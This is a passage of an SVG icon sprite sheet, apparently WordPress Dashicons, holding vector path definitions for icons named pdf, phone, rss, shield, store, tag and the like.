id="pdf"><title>pdf</title><g><style>.st0{fill-rule:evenodd;clip-rule:evenodd;}</style><path d="M5.8 14H5v1h.8c.3 0 .5-.2.5-.5s-.2-.5-.5-.5zM11 2H3v16h13V7l-5-5zM7.2 14.6c0 .8-.6 1.4-1.4 1.4H5v1H4v-4h1.8c.8 0 1.4.6 1.4 1.4v.2zm4.1.5c0 1-.8 1.9-1.9 1.9H8v-4h1.4c1 0 1.9.8 1.9 1.9v.2zM15 14h-2v1h1.5v1H13v1h-1v-4h3v1zm0-2H4V3h7v4h4v5zm-5.6 2H9v2h.4c.6 0 1-.4 1-1s-.5-1-1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="performance"><title>performance</title><g><path d="M3.76 17.01h12.48C17.34 15.63 18 13.9 18 12c0-4.41-3.58-8-8-8s-8 3.59-8 8c0 1.9.66 3.63 1.76 5.01zM9 6c0-.55.45-1 1-1s1 .45 1 1c0 .56-.45 1-1 1s-1-.44-1-1zM4 8c0-.55.45-1 1-1s1 .45 1 1c0 .56-.45 1-1 1s-1-.44-1-1zm4.52 3.4c.84-.83 6.51-3.5 6.51-3.5s-2.66 5.68-3.49 6.51c-.84.84-2.18.84-3.02 0-.83-.83-.83-2.18 0-3.01zM3 13c0-.55.45-1 1-1s1 .45 1 1c0 .56-.45 1-1 1s-1-.44-1-1zm6 0c0-.55.45-1 1-1s1 .45 1 1c0 .56-.45 1-1 1s-1-.44-1-1zm6 0c0-.55.45-1 1-1s1 .45 1 1c0 .56-.45 1-1 1s-1-.44-1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="pets"><title>pets</title><g><path d="M11.9 8.4c1.3 0 2.1-1.9 2.1-3.1 0-1-.5-2.2-1.5-2.2-1.3 0-2.1 1.9-2.1 3.1 0 1 .5 2.2 1.5 2.2zm-3.8 0c1 0 1.5-1.2 1.5-2.2C9.6 4.9 8.8 3 7.5 3 6.5 3 6 4.2 6 5.2c-.1 1.3.7 3.2 2.1 3.2zm7.4-1c-1.3 0-2.2 1.8-2.2 3.1 0 .9.4 1.8 1.3 1.8 1.3 0 2.2-1.8 2.2-3.1 0-.9-.5-1.8-1.3-1.8zm-8.7 3.1c0-1.3-1-3.1-2.2-3.1-.9 0-1.3.9-1.3 1.8 0 1.3 1 3.1 2.2 3.1.9 0 1.3-.9 1.3-1.8zm3.2-.2c-2 0-4.7 3.2-4.7 5.4 0 1 .7 1.3 1.5 1.3 1.2 0 2.1-.8 3.2-.8 1 0 1.9.8 3 .8.8 0 1.7-.2 1.7-1.3 0-2.2-2.7-5.4-4.7-5.4z"/></g></symbol><symbol viewBox="0 0 20 20" id="phone"><title>phone</title><g><path d="M12.06 6l-.21-.2c-.52-.54-.43-.79.08-1.3l2.72-2.75c.81-.82.96-1.21 1.73-.48l.21.2zm.53.45l4.4-4.4c.7.94 2.34 3.47 1.53 5.34-.73 1.67-1.09 1.75-2 3-1.85 2.11-4.18 4.37-6 6.07-1.26.91-1.31 1.33-3 2-1.8.71-4.4-.89-5.38-1.56l4.4-4.4 1.18 1.62c.34.46 1.2-.06 1.8-.66 1.04-1.05 3.18-3.18 4-4.07.59-.59 1.12-1.45.66-1.8zM1.57 16.5l-.21-.21c-.68-.74-.29-.9.52-1.7l2.74-2.72c.51-.49.75-.6 1.27-.11l.2.21z"/></g></symbol><symbol viewBox="0 0 20 20" id="pinterest"><title>pinterest</title><g><path d="M10.2 2C5.8 2 3.5 4.8 3.5 7.9c0 1.5.8 3 2.1 3.8.4.2.3 0 .6-1.2 0-.1 0-.2-.1-.3C4.3 8 5.8 3.7 10 3.7c6.1 0 4.9 8.4 1.1 8.4-.8.1-1.5-.5-1.5-1.3v-.4c.4-1.1.7-2.1.8-3.2 0-2.1-3.1-1.8-3.1 1 0 .5.1 1 .3 1.4 0 0-1 4.1-1.2 4.8-.2 1.2-.1 2.4.1 3.5-.1.1 0 .1 0 .1h.1c.7-1 1.3-2 1.7-3.1.1-.5.6-2.3.6-2.3.5.7 1.4 1.1 2.3 1.1 3.1 0 5.3-2.7 5.3-6S13.7 2 10.2 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="playlist-audio"><title>playlist-audio</title><g><path d="M17 3V1H2v2h15zm0 4V5H2v2h15zm-7 4V9H2v2h8zm7.45-1.96l-6 1.12c-.16.02-.19.03-.29.13-.11.09-.16.22-.16.37v4.59c-.29-.13-.66-.14-.93-.14-.54 0-1 .19-1.38.57s-.56.84-.56 1.38c0 .53.18.99.56 1.37s.84.57 1.38.57c.49 0 .92-.16 1.29-.48s.59-.71.65-1.19v-4.95L17 11.27v3.48c-.29-.13-.56-.19-.83-.19-.54 0-1.11.19-1.49.57-.38.37-.57.83-.57 1.37s.19.99.57 1.37.84.57 1.38.57c.53 0 .99-.19 1.37-.57s.57-.83.57-1.37V9.6c0-.16-.05-.3-.16-.41-.11-.12-.24-.17-.39-.15zM8 15v-2H2v2h6zm-2 4v-2H2v2h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="playlist-video"><title>playlist-video</title><g><path d="M17 3V1H2v2h15zm0 4V5H2v2h15zM6 11V9H2v2h4zm2-2h9c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1zm3 7l3.33-2L11 12v4zm-5-1v-2H2v2h4zm0 4v-2H2v2h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="plugins-checked"><title>plugins-checked</title><g><path d="M13.6 5.1l-3.1 3.1 1.8 1.8 3.1-3.1c.3-.3.2-1-.3-1.5s-1.1-.6-1.5-.3zm.3-4.8c-.7-.4-9.8 7.3-9.8 7.3S.6 5.5.1 5.9c-.5.4 4 5 4 5S14.6.6 13.9.3zm5.5 9.3c-.5-.5-1.2-.6-1.5-.3l-3.1 3.1 1.8 1.8 3.1-3.2c.3-.2.2-.9-.3-1.4zm-11.7-1c-.7.7-1.1 2.7-1.1 3.8v3.8l-1.2 1.2c-.6.6-.6 1.5 0 2.1s1.5.6 2.1 0l1.2-1.2h3.8c1.2 0 3-.4 3.7-1.1l1.2-.8-8.9-8.9-.8 1.1z"/></g></symbol><symbol viewBox="0 0 20 20" id="plus-alt"><title>plus-alt</title><g><path d="M15.8 4.2c3.2 3.21 3.2 8.39 0 11.6-3.21 3.2-8.39 3.2-11.6 0C1 12.59 1 7.41 4.2 4.2 7.41 1 12.59 1 15.8 4.2zm-4.3 11.3v-4h4v-3h-4v-4h-3v4h-4v3h4v4h3z"/></g></symbol><symbol viewBox="0 0 20 20" id="plus-alt2"><title>plus-alt2</title><g><path d="M17 9v2h-6v6H9v-6H3V9h6V3h2v6h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="plus"><title>plus</title><g><path d="M17 7v3h-5v5H9v-5H4V7h5V2h3v5h5z"/></g></symbol><symbol viewBox="0 0 20 20" id="podio"><title>podio</title><g><path d="M13.2 13.8L9.1 9.7c-.2-.2-.4-.5-.4-.9 0-.7.6-1.3 1.3-1.3.1 0 .3 0 .4.1.7.2 1.1.9.9 1.6-.1.5.1 1 .6 1.1.5.1 1-.1 1.1-.6.1-.3.1-.6.1-.9 0-1.7-1.4-3.1-3.1-3.1-.8 0-1.6.3-2.2.9-1.2 1.2-1.2 3.2 0 4.4l4.1 4.1c.4.4.9.4 1.3 0 .4-.3.4-.9 0-1.3zM14.9 4C12.2 1.4 8 1.3 5.3 4c-2.7 2.7-2.7 7 0 9.6l4.1 4.1c.4.4.9.4 1.3 0s.4-.9 0-1.3l-4.1-4.1c-1.9-1.9-1.9-5.1 0-7 1.9-1.9 5.1-1.9 7 0 1.6 1.7 1.8 4.4.5 6.3-.3.4-.1 1 .3 1.3.4.3 1 .1 1.3-.3 1.7-2.7 1.4-6.3-.8-8.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="portfolio"><title>portfolio</title><g><path d="M4 5H.78c-.37 0-.74.32-.69.84l1.56 9.99S3.5 8.47 3.86 6.7c.11-.53.61-.7.98-.7H10s-.7-2.08-.77-2.31C9.11 3.25 8.89 3 8.45 3H5.14c-.36 0-.7.23-.8.64C4.25 4.04 4 5 4 5zm4.88 0h-4s.42-1 .87-1h2.13c.48 0 1 1 1 1zM2.67 16.25c-.31.47-.76.75-1.26.75h15.73c.54 0 .92-.31 1.03-.83.44-2.19 1.68-8.44 1.68-8.44.07-.5-.3-.73-.62-.73H16V5.53c0-.16-.26-.53-.66-.53h-3.76c-.52 0-.87.58-.87.58L10 7H5.59c-.32 0-.63.19-.69.5 0 0-1.59 6.7-1.72 7.33-.07.37-.22.99-.51 1.42zM15.38 7H11s.58-1 1.13-1h2.29c.71 0 .96 1 .96 1z"/></g></symbol><symbol viewBox="0 0 20 20" id="post-status"><title>post-status</title><g><path d="M14 6c0 1.86-1.28 3.41-3 3.86V16c0 1-2 2-2 2V9.86c-1.72-.45-3-2-3-3.86 0-2.21 1.79-4 4-4s4 1.79 4 4zM8 5c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1z"/></g></symbol><symbol viewBox="0 0 20 20" id="pressthis"><title>pressthis</title><g><path d="M14.76 1C16.55 1 18 2.46 18 4.25c0 1.78-1.45 3.24-3.24 3.24-.23 0-.47-.03-.7-.08L13 8.47V19H2V4h9.54c.13-2 1.52-3 3.22-3zm0 5.49C16 6.49 17 5.48 17 4.25 17 3.01 16 2 14.76 2s-2.24 1.01-2.24 2.25c0 .37.1.72.27 1.03L9.57 8.5c-.28.28-1.77 2.22-1.5 2.49.02.03.06.04.1.04.49 0 2.14-1.28 2.39-1.53l3.24-3.24c.29.14.61.23.96.23z"/></g></symbol><symbol viewBox="0 0 20 20" id="printer"><title>printer</title><g><path d="M12 11H7v1h5v-1zm1 4H7v1h6v-1zm-3-2H7v1h3v-1zm7-7h-2V2H5v4H3c-.6 0-1 .4-1 1v5c0 .6.4 1 1 1h2v5h10v-5h2c.6 0 1-.4 1-1V7c0-.6-.4-1-1-1zm-3 11H6v-7h8v7zm0-11H6V3h8v3zm2 3h-1V8h1v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="privacy"><title>privacy</title><g><path d="M10 9.6c-.6 0-1 .4-1 1 0 .4.3.7.6.8l-.3 1.4h1.3l-.3-1.4c.4-.1.6-.4.6-.8.1-.6-.3-1-.9-1zm.1-4.3c-.7 0-1.4.5-1.4 1.2V8h2.7V6.5c-.1-.7-.6-1.2-1.3-1.2zM10 2L3 5v3c.1 4.4 2.9 8.3 7 9.9 4.1-1.6 6.9-5.5 7-9.9V5l-7-3zm4 11c0 .6-.4 1-1 1H7c-.6 0-1-.4-1-1V9c0-.6.4-1 1-1h.3V6.5C7.4 5.1 8.6 4 10 4c1.4 0 2.6 1.1 2.7 2.5V8h.3c.6 0 1 .4 1 1v4z"/></g></symbol><symbol viewBox="0 0 20 20" id="products"><title>products</title><g><path d="M17 8h1v11H2V8h1V6c0-2.76 2.24-5 5-5 .71 0 1.39.15 2 .42.61-.27 1.29-.42 2-.42 2.76 0 5 2.24 5 5v2zM5 6v2h2V6c0-1.13.39-2.16 1.02-3H8C6.35 3 5 4.35 5 6zm10 2V6c0-1.65-1.35-3-3-3h-.02c.63.84 1.02 1.87 1.02 3v2h2zm-5-4.22C9.39 4.33 9 5.12 9 6v2h2V6c0-.88-.39-1.67-1-2.22z"/></g></symbol><symbol viewBox="0 0 20 20" id="randomize"><title>randomize</title><g><path d="M18 6.01L14 9V7h-4l-5 8H2v-2h2l5-8h5V3zM2 5h3l1.15 2.17-1.12 1.8L4 7H2V5zm16 9.01L14 17v-2H9l-1.15-2.17 1.12-1.8L10 13h4v-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="reddit"><title>reddit</title><g><path d="M18 10.1c0-1-.8-1.8-1.8-1.7-.4 0-.9.2-1.2.5-1.4-.9-3-1.5-4.7-1.5l.8-3.8 2.6.6c0 .7.6 1.2 1.3 1.2.7 0 1.2-.6 1.2-1.3 0-.7-.6-1.2-1.3-1.2-.5 0-.9.3-1.1.7L11 2.9h-.2c-.1 0-.1.1-.1.2l-1 4.3C8 7.4 6.4 7.9 5 8.9c-.7-.7-1.8-.7-2.5 0s-.7 1.8 0 2.5c.1.1.3.3.5.3v.5c0 2.7 3.1 4.9 7 4.9s7-2.2 7-4.9v-.5c.6-.3 1-.9 1-1.6zM6 11.4c0-.7.6-1.2 1.2-1.2.7 0 1.2.6 1.2 1.2s-.6 1.2-1.2 1.2c-.7 0-1.2-.5-1.2-1.2zm7 3.3c-.9.6-1.9 1-3 .9-1.1 0-2.1-.3-3-.9-.1-.1-.1-.3 0-.5.1-.1.3-.1.4 0 .7.5 1.6.8 2.5.7.9.1 1.8-.2 2.5-.7.1-.1.3-.1.5 0s.2.3.1.5zm-.3-2.1c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2c.7 0 1.2.6 1.2 1.2.1.7-.5 1.2-1.2 1.2z"/></g></symbol><symbol viewBox="0 0 20 20" id="redo"><title>redo</title><g><path d="M8 5h5V2l6 4-6 4V7H8c-2.2 0-4 1.8-4 4s1.8 4 4 4h5v2H8c-3.3 0-6-2.7-6-6s2.7-6 6-6z"/></g></symbol><symbol viewBox="0 0 20 20" id="remove"><title>remove</title><g><path d="M10 1c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7zM6 9v2h8V9H6z"/></g></symbol><symbol viewBox="0 0 20 20" id="rest-api"><title>rest-api</title><g><path d="M16 13c-1.3 0-2.4.8-2.8 2H9c0-.7-.2-1.3-.5-1.8l7.1-7.3c.3 0 .6.1.9.1C17.9 6 19 4.9 19 3.5S17.9 1 16.5 1 14 2.1 14 3.5c0 .3.1.7.2 1l-7 7.2c-.6-.5-1.4-.7-2.2-.7V6.8C6.2 6.4 7 5.3 7 4c0-1.7-1.3-3-3-3S1 2.3 1 4c0 1.3.8 2.4 2 2.8v4.7c-1.2.7-2 2-2 3.4 0 2.2 1.8 4 4 4 1.5 0 2.8-.8 3.4-2h4.7c.4 1.1 1.5 2 2.8 2 1.6 0 3-1.3 3-3C19 14.3 17.6 13 16 13z"/></g></symbol><symbol viewBox="0 0 20 20" id="rss"><title>rss</title><g><path d="M14.92 18H18C18 9.32 10.82 2.25 2 2.25v3.02c7.12 0 12.92 5.71 12.92 12.73zm-5.44 0h3.08C12.56 12.27 7.82 7.6 2 7.6v3.02c2 0 3.87.77 5.29 2.16C8.7 14.17 9.48 16.03 9.48 18zm-5.35-.02c1.17 0 2.13-.93 2.13-2.09 0-1.15-.96-2.09-2.13-2.09-1.18 0-2.13.94-2.13 2.09 0 1.16.95 2.09 2.13 2.09z"/></g></symbol><symbol viewBox="0 0 20 20" id="saved"><title>saved</title><g><path d="M15.3 5.3l-6.8 6.8-2.8-2.8-1.4 1.4 4.2 4.2 8.2-8.2"/></g></symbol><symbol viewBox="0 0 20 20" id="schedule"><title>schedule</title><g><path d="M2 2h16v4H2V2zm0 10V8h4v4H2zm6-2V8h4v2H8zm6 3V8h4v5h-4zm-6 5v-6h4v6H8zm-6 0v-4h4v4H2zm12 0v-3h4v3h-4z"/></g></symbol><symbol viewBox="0 0 20 20" id="screenoptions"><title>screenoptions</title><g><path d="M9 9V3H3v6h6zm8 0V3h-6v6h6zm-8 8v-6H3v6h6zm8 0v-6h-6v6h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="search"><title>search</title><g><path d="M12.14 4.18c1.87 1.87 2.11 4.75.72 6.89.12.1.22.21.36.31.2.16.47.36.81.59.34.24.56.39.66.47.42.31.73.57.94.78.32.32.6.65.84 1 .25.35.44.69.59 1.04.14.35.21.68.18 1-.02.32-.14.59-.36.81s-.49.34-.81.36c-.31.02-.65-.04-.99-.19-.35-.14-.7-.34-1.04-.59-.35-.24-.68-.52-1-.84-.21-.21-.47-.52-.77-.93-.1-.13-.25-.35-.47-.66-.22-.32-.4-.57-.56-.78-.16-.2-.29-.35-.44-.5-2.07 1.09-4.69.76-6.44-.98-2.14-2.15-2.14-5.64 0-7.78 2.15-2.15 5.63-2.15 7.78 0zm-1.41 6.36c1.36-1.37 1.36-3.58 0-4.95-1.37-1.37-3.59-1.37-4.95 0-1.37 1.37-1.37 3.58 0 4.95 1.36 1.37 3.58 1.37 4.95 0z"/></g></symbol><symbol viewBox="0 0 20 20" id="share-alt"><title>share-alt</title><g><path d="M16.22 5.8c.47.69.29 1.62-.4 2.08-.69.47-1.62.29-2.08-.4-.16-.24-.35-.46-.55-.67-.21-.2-.43-.39-.67-.55s-.5-.3-.77-.41c-.27-.12-.55-.21-.84-.26-.59-.13-1.23-.13-1.82-.01-.29.06-.57.15-.84.27-.27.11-.53.25-.77.41s-.46.35-.66.55c-.21.21-.4.43-.56.67s-.3.5-.41.76c-.01.02-.01.03-.01.04-.1.24-.17.48-.23.72H1V6h2.66c.04-.07.07-.13.12-.2.27-.4.57-.77.91-1.11s.72-.65 1.11-.91c.4-.27.83-.51 1.28-.7s.93-.34 1.41-.43c.99-.21 2.03-.21 3.02 0 .48.09.96.24 1.41.43s.88.43 1.28.7c.39.26.77.57 1.11.91s.64.71.91 1.11zM12.5 10c0-1.38-1.12-2.5-2.5-2.5S7.5 8.62 7.5 10s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5zm-8.72 4.2c-.47-.69-.29-1.62.4-2.09.69-.46 1.62-.28 2.08.41.16.24.35.46.55.67.21.2.43.39.67.55s.5.3.77.41c.27.12.55.2.84.26.59.13 1.23.12 1.82 0 .29-.06.57-.14.84-.26.27-.11.53-.25.77-.41s.46-.35.66-.55c.21-.21.4-.44.56-.67.16-.25.3-.5.41-.76.01-.02.01-.03.01-.04.1-.24.17-.48.23-.72H19v3h-2.66c-.04.06-.07.13-.12.2-.27.4-.57.77-.91 1.11s-.72.65-1.11.91c-.4.27-.83.51-1.28.7s-.93.33-1.41.43c-.99.21-2.03.21-3.02 0-.48-.1-.96-.24-1.41-.43s-.88-.43-1.28-.7c-.39-.26-.77-.57-1.11-.91s-.64-.71-.91-1.11z"/></g></symbol><symbol viewBox="0 0 20 20" id="share-alt2"><title>share-alt2</title><g><path d="M18 8l-5 4V9.01c-2.58.06-4.88.45-7 2.99.29-3.57 2.66-5.66 7-5.94V3zM4 14h11v-2l2-1.6V16H2V5h9.43c-1.83.32-3.31 1-4.41 2H4v7z"/></g></symbol><symbol viewBox="0 0 20 20" id="share"><title>share</title><g><path d="M14.5 12c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3c0-.24.03-.46.09-.69l-4.38-2.3c-.55.61-1.33.99-2.21.99-1.66 0-3-1.34-3-3s1.34-3 3-3c.88 0 1.66.39 2.21.99l4.38-2.3c-.06-.23-.09-.45-.09-.69 0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3c-.88 0-1.66-.39-2.21-.99l-4.38 2.3c.06.23.09.45.09.69s-.03.46-.09.69l4.38 2.3c.55-.61 1.33-.99 2.21-.99z"/></g></symbol><symbol viewBox="0 0 20 20" id="shield-alt"><title>shield-alt</title><g><path d="M10 2s3 2 7 2c0 11-7 14-7 14S3 15 3 4c4 0 7-2 7-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="shield"><title>shield</title><g><path d="M10 2s3 2 7 2c0 11-7 14-7 14S3 15 3 4c4 0 7-2 7-2zm0 8h5s1-1 1-5c0 0-5-1-6-2v7H5c1 4 5 7 5 7v-7z"/></g></symbol><symbol viewBox="0 0 20 20" id="shortcode"><title>shortcode</title><g><path d="M6 14H4V6h2V4H2v12h4M7.1 17h2.1l3.7-14h-2.1M14 4v2h2v8h-2v2h4V4"/></g></symbol><symbol viewBox="0 0 20 20" id="slides"><title>slides</title><g><path d="M5 14V6h10v8H5zm-3-1V7h2v6H2zm4-6v6h8V7H6zm10 0h2v6h-2V7zm-3 2V8H7v1h6zm0 3v-2H7v2h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="smartphone"><title>smartphone</title><g><path d="M6 2h8c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1zm7 12V4H7v10h6zM8 5h4l-4 5V5z"/></g></symbol><symbol viewBox="0 0 20 20" id="smiley"><title>smiley</title><g><path d="M7 5.2c1.1 0 2 .89 2 2 0 .37-.11.71-.28 1C8.72 8.2 8 8 7 8s-1.72.2-1.72.2c-.17-.29-.28-.63-.28-1 0-1.11.9-2 2-2zm6 0c1.11 0 2 .89 2 2 0 .37-.11.71-.28 1 0 0-.72-.2-1.72-.2s-1.72.2-1.72.2c-.17-.29-.28-.63-.28-1 0-1.11.89-2 2-2zm-3 13.7c3.72 0 7.03-2.36 8.23-5.88l-1.32-.46C15.9 15.52 13.12 17.5 10 17.5s-5.9-1.98-6.91-4.94l-1.32.46c1.2 3.52 4.51 5.88 8.23 5.88z"/></g></symbol><symbol viewBox="0 0 20 20" id="sort"><title>sort</title><g><path d="M11 7H1l5 7zm-2 7h10l-5-7z"/></g></symbol><symbol viewBox="0 0 20 20" id="sos"><title>sos</title><g><path d="M18 10c0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8 8-3.58 8-8zM7.23 3.57L8.72 7.3c-.62.29-1.13.8-1.42 1.42L3.57 7.23c.71-1.64 2.02-2.95 3.66-3.66zm9.2 3.66L12.7 8.72c-.29-.62-.8-1.13-1.42-1.42l1.49-3.73c1.64.71 2.95 2.02 3.66 3.66zM10 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm-6.43.77l3.73-1.49c.29.62.8 1.13 1.42 1.42l-1.49 3.73c-1.64-.71-2.95-2.02-3.66-3.66zm9.2 3.66l-1.49-3.73c.62-.29 1.13-.8 1.42-1.42l3.73 1.49c-.71 1.64-2.02 2.95-3.66 3.66z"/></g></symbol><symbol viewBox="0 0 20 20" id="spotify"><title>spotify</title><g><path d="M10 2c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm3.7 11.5c-.1.2-.5.3-.7.2-2.1-1.2-4.7-1.5-7-.8-.3 0-.5-.1-.6-.4 0-.2.1-.5.4-.6 2.6-.8 5.4-.4 7.8.9.1.2.2.5.1.7zm1-2.1c-.1 0-.1 0 0 0-.2.3-.6.4-.9.2-2.4-1.4-5.3-1.7-8-.9-.3.1-.7-.1-.8-.4-.1-.4.1-.7.4-.9 3-.9 6.3-.5 9 1.1.3.2.4.6.3.9zm0-2.3c-2.6-1.5-6.8-1.7-9.3-.9-.4.1-.8-.1-.9-.5-.1-.4.1-.8.5-1 2.8-.8 7.5-.7 10.5 1.1.4.2.5.7.3 1-.3.4-.7.5-1.1.3z"/></g></symbol><symbol viewBox="0 0 20 20" id="star-empty"><title>star-empty</title><g><path d="M10 1L7 7l-6 .75 4.13 4.62L4 19l6-3 6 3-1.12-6.63L19 7.75 13 7zm0 2.24l2.34 4.69 4.65.58-3.18 3.56.87 5.15L10 14.88l-4.68 2.34.87-5.15-3.18-3.56 4.65-.58z"/></g></symbol><symbol viewBox="0 0 20 20" id="star-filled"><title>star-filled</title><g><path d="M10 1l3 6 6 .75-4.12 4.62L16 19l-6-3-6 3 1.13-6.63L1 7.75 7 7z"/></g></symbol><symbol viewBox="0 0 20 20" id="star-half"><title>star-half</title><g><path d="M10 1L7 7l-6 .75 4.13 4.62L4 19l6-3 6 3-1.12-6.63L19 7.75 13 7zm0 2.24l2.34 4.69 4.65.58-3.18 3.56.87 5.15L10 14.88V3.24z"/></g></symbol><symbol viewBox="0 0 20 20" id="sticky"><title>sticky</title><g><path d="M5 3.61V1.04l8.99-.01-.01 2.58c-1.22.26-2.16 1.35-2.16 2.67v.5c.01 1.31.93 2.4 2.17 2.66l-.01 2.58h-3.41l-.01 2.57c0 .6-.47 4.41-1.06 4.41-.6 0-1.08-3.81-1.08-4.41v-2.56L5 12.02l.01-2.58c1.23-.25 2.15-1.35 2.15-2.66v-.5c0-1.31-.92-2.41-2.16-2.67z"/></g></symbol><symbol viewBox="0 0 20 20" id="store"><title>store</title><g><path d="M1 10c.41.29.96.43 1.5.43.55 0 1.09-.14 1.5-.43.62-.46 1-1.17 1-2 0 .83.37 1.54 1 2 .41.29.96.43 1.5.43.55 0 1.09-.14 1.5-.43.62-.46 1-1.17 1-2 0 .83.37 1.54 1 2 .41.29.96.43 1.51.43.54 0 1.08-.14 1.49-.43.62-.46 1-1.17 1-2 0 .83.37 1.54 1 2 .41.29.96.43 1.5.43.55 0 1.09-.14 1.5-.43.63-.46 1-1.17 1-2V7l-3-7H4L0 7v1c0 .83.37 1.54 1 2zm2 8.99h5v-5h4v5h5v-7c-.37-.05-.72-.22-1-.43-.63-.45-1-.73-1-1.56 0 .83-.38 1.11-1 1.56-.41.3-.95.43-1.49.44-.55 0-1.1-.14-1.51-.44-.63-.45-1-.73-1-1.56 0 .83-.38 1.11-1 1.56-.41.3-.95.43-1.5.44-.54 0-1.09-.14-1.5-.44-.63-.45-1-.73-1-1.57 0 .84-.38 1.12-1 1.57-.29.21-.63.38-1 .44v6.99z"/></g></symbol><symbol viewBox="0 0 20 20" id="superhero-alt"><title>superhero-alt</title><g><path d="M15 5H5L2 8l8 8 8-8-3-3zm-3.3 6.9L10 11l-1.7.9.3-1.9-1.4-1.4 1.9-.3.9-1.7.9 1.8 1.9.3-1.4 1.3.3 1.9z"/></g></symbol><symbol viewBox="0 0 20 20" id="superhero"><title>superhero</title><g><path d="M11.1 10L18 2 7 10h2l-7 8 11-8h-1.9zm-4.3 1H3.9l2.5-1.8 7.5-5.5L10 2 3 5v3c0 2 .5 3.9 1.5 5.6L6.8 11zm6.4-2H16l-2.4 1.8L6.5 16c1 .9 2.2 1.6 3.5 2 4.2-1.5 7.1-5.5 7-10V5l-.2-.1L13.2 9z"/></g></symbol><symbol viewBox="0 0 20 20" id="table-col-after"><title>table-col-after</title><g><path d="M14.08 12.864V9.216h3.648V7.424H14.08V3.776h-1.728v3.648H8.64v1.792h3.712v3.648zM0 17.92V0h20.48v17.92H0zM6.4 1.28H1.28v3.84H6.4V1.28zm0 5.12H1.28v3.84H6.4V6.4zm0 5.12H1.28v3.84H6.4v-3.84zM19.2 1.28H7.68v14.08H19.2V1.28z"/></g></symbol><symbol viewBox="0 0 20 20" id="table-col-before"><title>table-col-before</title><g><path d="M6.4 3.776v3.648H2.752v1.792H6.4v3.648h1.728V9.216h3.712V7.424H8.128V3.776zM0 17.92V0h20.48v17.92H0zM12.8 1.28H1.28v14.08H12.8V1.28zm6.4 0h-5.12v3.84h5.12V1.28zm0 5.12h-5.12v3.84h5.12V6.4zm0 5.12h-5.12v3.84h5.12v-3.84z"/></g></symbol><symbol viewBox="0 0 20 20" id="table-col-delete"><title>table-col-delete</title><g><path d="M6.4 9.98L7.68 8.7v-.256L6.4 7.164V9.98zm6.4-1.532l1.28-1.28V9.92L12.8 8.64v-.192zm7.68 9.472V0H0v17.92h20.48zm-1.28-2.56h-5.12v-1.024l-.256.256-1.024-1.024v1.792H7.68v-1.792l-1.024 1.024-.256-.256v1.024H1.28V1.28H6.4v2.368l.704-.704.576.576V1.216h5.12V3.52l.96-.96.32.32V1.216h5.12V15.36zm-5.76-2.112l-3.136-3.136-3.264 3.264-1.536-1.536 3.264-3.264L5.632 5.44l1.536-1.536 3.136 3.136 3.2-3.2 1.536 1.536-3.2 3.2 3.136 3.136-1.536 1.536z"/></g></symbol><symbol viewBox="0 0 20 20" id="table-row-after"><title>table-row-after</title><g><path d="M13.824 10.176h-2.88v-2.88H9.536v2.88h-2.88v1.344h2.88v2.88h1.408v-2.88h2.88zM0 17.92V0h20.48v17.92H0zM6.4 1.28H1.28v3.84H6.4V1.28zm6.4 0H7.68v3.84h5.12V1.28zm6.4 0h-5.12v3.84h5.12V1.28zm0 5.056H1.28v9.024H19.2V6.336z"/></g></symbol><symbol viewBox="0 0 20 20" id="table-row-before"><title>table-row-before</title><g><path d="M6.656 6.464h2.88v2.88h1.408v-2.88h2.88V5.12h-2.88V2.24H9.536v2.88h-2.88zM0 17.92V0h20.48v17.92H0zm7.68-2.56h5.12v-3.84H7.68v3.84zm-6.4 0H6.4v-3.84H1.28v3.84zM19.2 1.28H1.28v9.024H19.2V1.28zm0 10.24h-5.12v3.84h5.12v-3.84z"/></g></symbol><symbol viewBox="0 0 20 20" id="table-row-delete"><title>table-row-delete</title><g><path d="M17.728 11.456L14.592 8.32l3.2-3.2-1.536-1.536-3.2 3.2L9.92 3.648 8.384 5.12l3.2 3.2-3.264 3.264 1.536 1.536 3.264-3.264 3.136 3.136 1.472-1.536zM0 17.92V0h20.48v17.92H0zm19.2-6.4h-.448l-1.28-1.28H19.2V6.4h-1.792l1.28-1.28h.512V1.28H1.28v3.84h6.208l1.28 1.28H1.28v3.84h7.424l-1.28 1.28H1.28v3.84H19.2v-3.84z"/></g></symbol><symbol viewBox="0 0 20 20" id="tablet"><title>tablet</title><g><path d="M4 2h12c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1zm11 14V4H5v12h10zM6 5h6l-6 5V5z"/></g></symbol><symbol viewBox="0 0 20 20" id="tag"><title>tag</title><g><path d="M11 2h7v7L8 19l-7-7zm3 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="tagcloud"><title>tagcloud</title><g><path d="M11 3v4H1V3h10zm8 0v4h-7V3h7zM7 8v3H1V8h6zm12 0v3H8V8h11zM9 12v2H1v-2h8zm10 0v2h-9v-2h9zM6 15v1H1v-1h5zm5 0v1H7v-1h4zm3 0v1h-2v-1h2zm5 